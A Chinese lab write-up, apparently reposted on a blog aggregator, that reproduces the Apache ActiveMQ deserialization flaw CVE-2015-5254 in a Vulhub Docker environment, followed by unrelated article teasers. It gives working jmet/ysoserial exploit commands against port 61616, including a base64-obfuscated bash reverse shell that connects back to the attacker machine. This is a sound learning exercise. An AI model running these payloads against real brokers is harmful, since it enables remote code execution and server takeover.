ActiveMQ 反序列化漏洞复现(CVE-2015-5254)

news2024/9/21 0:38:18

一、漏洞前言

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

二、漏洞环境

1、要求有以下两台虚拟机

靶机:Centos 7(IP:192.168.229.160)

攻击机:kali(IP:192.168.229.131)

 2、靶机的docker环境配置

[root@master ~]# yum install -y docker

3、启动docker服务,设置docker随开机自动开启

[root@master ~]# systemctl start docker.service
[root@master ~]# systemctl enable docker.service

4、安装docker-compose

Docker-compose用于组合服务与内网。有部分环境涉及到多个容器,且不同环境开启的端口、目录也不相同,所以Vulhub选择使用docker-compose做环境一键化管理工具。用户不再需要学习docker命令的各种参数与用法,只需要简单地执行docker-compose up -d即可启动容器。

 

[root@master ~]# sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

可以看到下载失败,查看是否出现断网情况

网络并没有问题,尝试关闭防火墙。

再次进行安装docker-compose

安装成功。

5、对二进制文件添加可执行权限,创建直接使用docker-compose命令的链接

[root@master ~]# ll /usr/local/bin/docker-compose 

可以看到该文件并没有执行的权限,那么就需要给予授权,给到777

[root@master ~]# chmod 777 /usr/local/bin/docker-compose

# 创建链接
[root@master ~]# ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

6、安装Vulhub

 # 安装git
[root@master ~]# yum -y install git

 

安装完毕

验证安装是否成功以及查看安装的版本。

到/usr目录下,下载Vulhub靶场资料到usr目录下

修改daemon.json文件,在编辑器中输入内容,并保存退出(/etc/docker)

## [root@master docker]# vi daemon.json 
{
     "registry-mirrors": ["https://nfesww3w.mirror.aliyuncs.com"]
}

7、重启docker

[root@master ~]# systemctl daemon-reload
[root@master ~]# systemctl restart docker

三、卡莉安装jdk环境

因为在复现这个漏洞的过程中,会涉及到java开发语言,所以需要配置jdk环境。

1、删除系统自带的openjdk

sudo apt-get remove --purge openjdk-*
sudo apt-get autoremove
sudo apt-get clean
## 执行以上三个命令。

2、安装jdk

到官网进行下载:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

## 1、进行解压到‘/opt’目录下:
tar -zxf /home/xiaozhu/Downlads -C /opt

## 2、将解压好的文件移动到local目录
mv  jdk1.8.0_202  /usr/local/  

## 3、配置环境变量
vi /etc/profile
 
JAVA_HOME=/usr/local/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

## 4、注册安装jdk8
update-alternatives --install "/usr/bin/java" "java" "/usr/local/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/jdk1.8.0_202/bin/javaws" 1
## 5、设置默认jdk
update-alternatives --set java /usr/local/jdk1.8.0_202/bin/java
update-alternatives --set javac /usr/local/jdk1.8.0_202/bin/javac
update-alternatives --set javaws /usr/local/jdk1.8.0_202/bin/javaws

## 6、刷新环境变量,加载jdk
source /etc/profile

至此jdk就安装好了。

四、漏洞测试

1、选择靶场目录

选择CVE-2015-5254靶场环境,这个就是我们要做的漏洞环境目录

2、启动docker,会自动调用搭建漏洞环境

docker-compose build
docker-compose up -d

3、访问靶机的8186端口,看看是否部署成功

可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin

 登陆成功,当前Queues的消息队列是空的。

 4、进行攻击靶场

构建攻击payload:

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

命令如下:(卡莉)

cd /opt
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

 

## 到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/xiaozhu_test" -Yp ROME 192.168.229.160 61616

 返回网站查看,可以看到队列里出现了一个event新的任务 

点进event,点进去任务详情触发

进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件先查看docker的进程:docker ps

进入该容器:docker exec -it 96a9a39eb4ea /bin/bash

进入到‘/tmp’目录可以看到xiaozhu_test文件存在,说明漏洞利用成功。

5、反弹shell

可以看到文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMzEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.160 61616

 

 

可以看到队列消息显示为2

同时kali监听端口,并点击任务详情,kali上能看到成功返回的shell

反弹shell成功,至此漏洞复现完成。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2108521.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一篇python常见的Pandas的数据功能的使用

当我们学习了如何使用 Pandas 进行数据的导入与导出,这为我们后续的数据处理打下了基础.此次我们将重点讨论数据选择与过滤.通过掌握这一部分的知识,你将能够轻松地从复杂的数据集中提取出所需的信息.接下来,我们将通过一些实例来逐步了解这些操作. 数据选择 数据选择主要是针…

二分查找 ,看这一篇就够了

什么是二分查找? 二分查找(Binary Search)是一种高效的查找算法,适用于在有序数组中查找特定元素。其基本思想是通过逐步缩小查找范围,每次将查找区间减半,从而大大提高查找效率。二分查找的时间复杂度为O(…

B样条曲线测试

实验效果: 绿色为A*规划的路径,蓝色为Bspline曲线 介绍 对A* 生成的路径进行B样条(A* 和Bspline都是佬们写好的,我直接拿来用) 样条曲线相关可参考文章:详解样条曲线(上)&#x…

基于LaMA-Factory微调llama3.1-8B

大模型的训练目前主要分为Pre-training和Post-training,受限于资源算力等原因,实际工作中更多用到的是SFT。 对于普通用户来说SFT仍然具备较高的门槛,需要了解一定的理论基础,准备用于微调的数据,由于不同基座模型相应…

xilinx通用RAM或者FIFO设计

1、在 Vivado 中,XPM(Xilinx Parameterized Macros)是 Xilinx 提供的一组预定义的、参数化的硬件描述语言 (HDL) 宏模块,用于简化设计流程和提高设计效率。XPM 模块通常用于实现常见的功能,比如存储器(RAM/…

PWR电源控制(低功耗模式)

1 PWR简介 1 程序后面是空循环,即使不用也会耗电,所以有了低功耗(例如遥控器) 2 也要保留唤醒模式,如串口接收数据中断唤醒,外部中断唤醒,RTC闹钟唤醒,在需要工作是,ST…

docker装大米cms(damicms)各种cms可用相同办法

1.docker pull 拉取镜像文件 docker pull medicean/vulapps:base_lamp 2.使用docker运行 docker run -d -p 8080:80 medicean/vulapps:base_lamp 3将需要搭建的 CMS 项目源码放到 kali 中,这里以 damiCMS 为例 查看容器id docker ps 4进入dmCMS 所在目录&#…

基于Java+SpringBoot+Vue的新闻稿件管理系统

基于JavaSpringBootVue的新闻稿件管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末附源码下载链接🍅 哈…

利用高德API获取整个城市的公交路线并可视化(四)

副标题:公共汽电车站点覆盖率——以厦门市公交线路为例 书接上回,我们有了公交的线路、站点数据,并同时对数据质量进行了校验,但是不同城市情况不同,需要看当地对公交交通数据的开放程度,部分城市建设的有…

Linux系统运行模式以及链接文件

一.Linux系统运行模式 如上图所示,可以使用runlevel这条命令去查看当前系统的运行模式。 如上图所示,可以使用这条命令使得机器以字符模式启动。 如上图所示,可以使用这条命令使得机器以图像化界面启动。 二.链接文件 链接文件类型&#xff…

Aigtek电压放大器的技术指标是什么

电压放大器是一种电路,用于将低电压信号放大为高电压信号。它在电子、通信、音频和视频等领域广泛应用。下面是电压放大器电路的一些特点。 放大倍数高:电压放大器的主要功能是将输入信号的幅度放大到所需的输出电压。因此,电压放大器的一个重…

(Postman)接口测试基础应用

目录 ​编辑 1.简介与分类 2.接口测试流程及用例设计 3. 实战接口介绍 4.postman的简介,安装,注册 5.get请求和响应页签详解 6. 问题​编辑 1.环境变量和全局变量:globals--全局变量 2.接口关联 1.简介与分类 1.接口测试是测试系统组…

重头开始嵌入式第三十四天(数据库二)

sqlite3的一些补充 目录 sqlite3的一些补充 1.事物 2.连接,联合 3.触发器 4.子查询 1.事物 数据库事务是数据库管理系统执行过程中的一个逻辑单位,它由一系列对数据库的操作组成。 一、事务的特性 1. 原子性(Atomicity&#xff09…

移动端设计规范:提升用户体验的核心要素

随着移动互联网的普及,移动端设计已成为用户体验的关键一环。设计师不仅需要考虑视觉美感,还必须确保设计符合用户操作习惯,提高用户的操作效率。本文将探讨移动端设计的核心规范,帮助设计师打造出既美观又实用的应用界面。 一、…

uniapp动态页面API

目录 uni.setNavigationBarTitle动态设置标题 uni.showNavigationBarLoading为标题添加加载动画与uni.hideNavigationBarLoading停止加载动画 ​编辑 uni.setNavigationBarColor用于设置导航栏的颜色,包括背景颜色和文字颜色。这对于自定义应用的主题和风格非常有…

高质量的小间距LED显示屏有什么表现

随着企业对宣传和品牌形象提升的需求日益增长,LED显示屏凭借其立体化宣传和低成本优势,逐渐成为企业宣传的重要工具。近年来,小间距LED显示屏在市场上逐渐普及,生产厂家和产品种类也不断增加。面对如此众多的选择,许多…

合法的数字货币有哪些类型

合法数字货币的类型 一、常见的合法数字货币类型 比特币(Bitcoin,BTC):作为世界上第一个数字货币,由中本聪在 2009 年创造。其特点包括去中心化、匿名性和安全性较高,市值较高。以太坊(Ethereu…

智能家居系统(基于STM32F103C8T6标准库+FreeRTOS+Qt串口开发实现)

视频演示:基于STM32F103C8T6标准库FreeRTOSQt串口开发实现的智能家居项目_哔哩哔哩_bilibili 基于STM32F103C8T6标准库FreeRTOSQt串口开发实现的智能家居项目: https://pan.baidu.com/s/1f41gAfOOnlcQoKoMx3o84A?pwd6j2g 提取码: 6j2g 注:本项目为学习完…

WPS中JS宏使用说明(持续优化...)

前言 好久没发文章了,今天闲来无事发篇文章找找之前的码字感觉。 正文 最近在写教案,发现之前的技术又可以派上用场了。就是JS,全称JavaScript,这个语言太强大了,我发现WPS里的宏现在默认就是JS。功能选项如下图&…

Android 打开 GBK项目如何设置成UTF-8

1.标题 今天打开一个eclipse老项目,编码格式为GBK,Android studio导入项目报错,本人想到一个方案就是批量修改文件格式从 GBK到 UTF-8,这样可以一键解决问题 2.开发脚本 使用前请备份代码 使用前请备份代码 使用前请备份代码…